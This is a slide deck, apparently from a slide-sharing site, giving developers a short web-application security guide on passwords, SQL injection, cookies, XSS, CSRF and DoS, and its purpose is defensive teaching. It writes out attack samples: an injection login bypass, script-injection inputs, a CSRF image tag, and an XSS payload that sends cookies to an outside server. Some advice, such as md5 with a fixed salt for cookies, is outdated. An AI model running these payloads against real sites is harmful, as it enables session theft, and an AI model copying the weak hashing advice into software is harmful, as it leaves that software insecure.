Embed Size (px)
DESCRIPTION
Is my web application exposed? We will present a short guide for the "contemporary developer" of web apps: we will survey the critical points of our web apps, the database, session stealing, cookies. We will then review the most common attacks from DOS to XSS to CSRF and ways to defend and / or limit damages.
Citation preview
“Web apps w.t.f.?”
• Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)
• Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainly for a restricted group of users)
• Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
Seems easy to say “security”…
Classical branches:
• Hardware security
• Cryptography
• Identity
Cryptography
Every single byte you send can be read.
SSL does not guarantee 100% and slows down your apps.
Sniffing requires knowledge, software, hardware and physical access to wires.
User identity
Username/e-mail and password• strength: “p455w0rD.” better than “password” or “p”• avoid login name, family name, birth date, phone number,
child or pet’s names (remember Joshua!)• try to avoid dictionary ones (record number of attempts!)
• never store passwords on your db
The new dictionary: why “qazwsxedc” is not so strong?
OpenID is a suitable alternative for some web apps.
Biometrics are NOT.
Dati biometrici (difficilmente usabili)
Did I miss something?
• My servers are in a fortress• 3 firewall levels (and one dragon)
• I use 56 chars non-alpha pwd• pwd expires every 10 days• I use SSL 1024(128) bit
encryption• I hung blu velvet curtains to
the windows
Your app sucks!
• Injection• Cookies• XSS• CSRF
The problem is in the application…
Injection: I don’t need a password!
jsmith
a’ or ‘a’=‘a
“select * from users where username=‘” + login +”’ and password=‘” + password +”’ ”
Earth 2010:lots of applications are still open to the classical sql injection vulnerability:
DON’
T
Damned HTML… and your browsers
3 ingredients make web apps vulnerable:1. HTML was not for applications! But it is! (code
injection is too easy)
2. HTTP uses cookies for handling sessions3. Javascript, that is ubiquitous in a page (and reads
cookies)
but mainly
browsers
Remember me!
Salted cookies, salted cookies!
Use salt and pepper to hash login data.Do not make them reversible!
md5(user.id+”hash”)
md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
Protect cookies!
lost cookies = session stolen, now I’m you!
Hard to recover! Quite “easy” to prevent
• use HttpOnly cookies• restrict cookie’s scope by setting host, path,
expiry• encrypt data saved on cookies
Injection reloaded: aka XSS
notes:<textarea name=“notes”><%=note%></textarea>your name: <input type=”text” value=“<%=yourName%>”><%=yourName%>
notes:
</textarea><script>alert(“you stink!”)</script>
your name: john “> <script>alert(“I can do everything!”)</script>
this is the basics of XSS
JSP-ASP example:
XSS
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
How I’ll get your cookies:
“Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
XSS: encode user inputs
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
Do not think it’s easy:
if (userInputs.contains(“<script>”))killTheUser();
it doesn’t work!
Do you recognize this? It is the same script!
Some browsers accept Ascii, hex, octal, url encoding, unicode, html, etc.
XSS: encode user inputs
The safest solution?• Limit user inputs to plain text • Html encode every single field
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie</script>
Sweet dreams! This is always safe!
XSS: no plain text? so, pain test!
Your app allows rich text inputs?Did your user need the full power of HTML? Try
to avoid using it. Use a lightweight markup language instead.
• Markdown• Textile• BBCode• Wikipedia
XSS: I like HTML
Sanitizing an HTML input is really hard work.Do not be shy:
• restrict allowed tags: <i><b><a><u><br><hr>• kill dangerous tags: <script><object><embed>etc.• test urls: <a href=“javascript: or background-image:url(‘…• limit css styles, e.g.: position
HtmlEncode all the rest!
XSS: test your pages
There are about 150 different XSS exploits!
Test inputs using examples on
http://ha.ckers.org/xss.htmlwith different browsers and versions. Use XSSme plugin for FireFox.
Mission accomplished. XSS destroyed!
Does the user exactly know what she is doing?
Everytime?
next target:Cross Site Request Forgery
click here
CSRF: how does it work?
1. John is authenticated on site A. e.g.: stoks.example.com
2. John visit the site B reading news: hotStoksNews.goodboy.com
3. B contains the CSRF attack to site A e.g.:<img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>
4. John is now an happy owner of 1000 KRAK shares!
CSRF: protect your app
There aren’t many solutions:
Server-sideGenerated
Tokens!
CSRF & Tokens: how to
1) your server generates a random number and: - insert it as hidden parameter in the form
(or in the url in case of get)
- store it in the user session 2) when the form request is received a hidden
parameter is matched with the in-session one
CSRF & Tokens
Pros:1. safe
2. safe
3. safe
Cons:1. reloading a page (F5) will
generate “invalid token error”
2. if a page has different entry points token generation may be annoying
API: a new enemy?
REST, JSON, XML API are not evil in themself, but:
1. there is no “standard” authentication2. when used with JS clients this may reveal the
user key3. you are exposing new ways for xss and csrf
DoS: Denial of Service• DoS protocol level: nothing to do… use
intelligent gateways/router
• DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions
• Use session-less pages until authentication
“DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
Your app rocks!
1. use strong passwords2. keep data in safe place3. do not store user’s passwords4. salt and pepper everywhere5. use SSL6. use Httponly cookies7. encode user inputs or sanitize them8. use server-side tokens for critical actions9. expose a read-only API
“Don’t be evil”
Thank you!
Now: Q&Aa starting point with a collection of security related links:
http://delicious.com/robicch/security
my Java sanitizer: http://roberto.open-lab.com
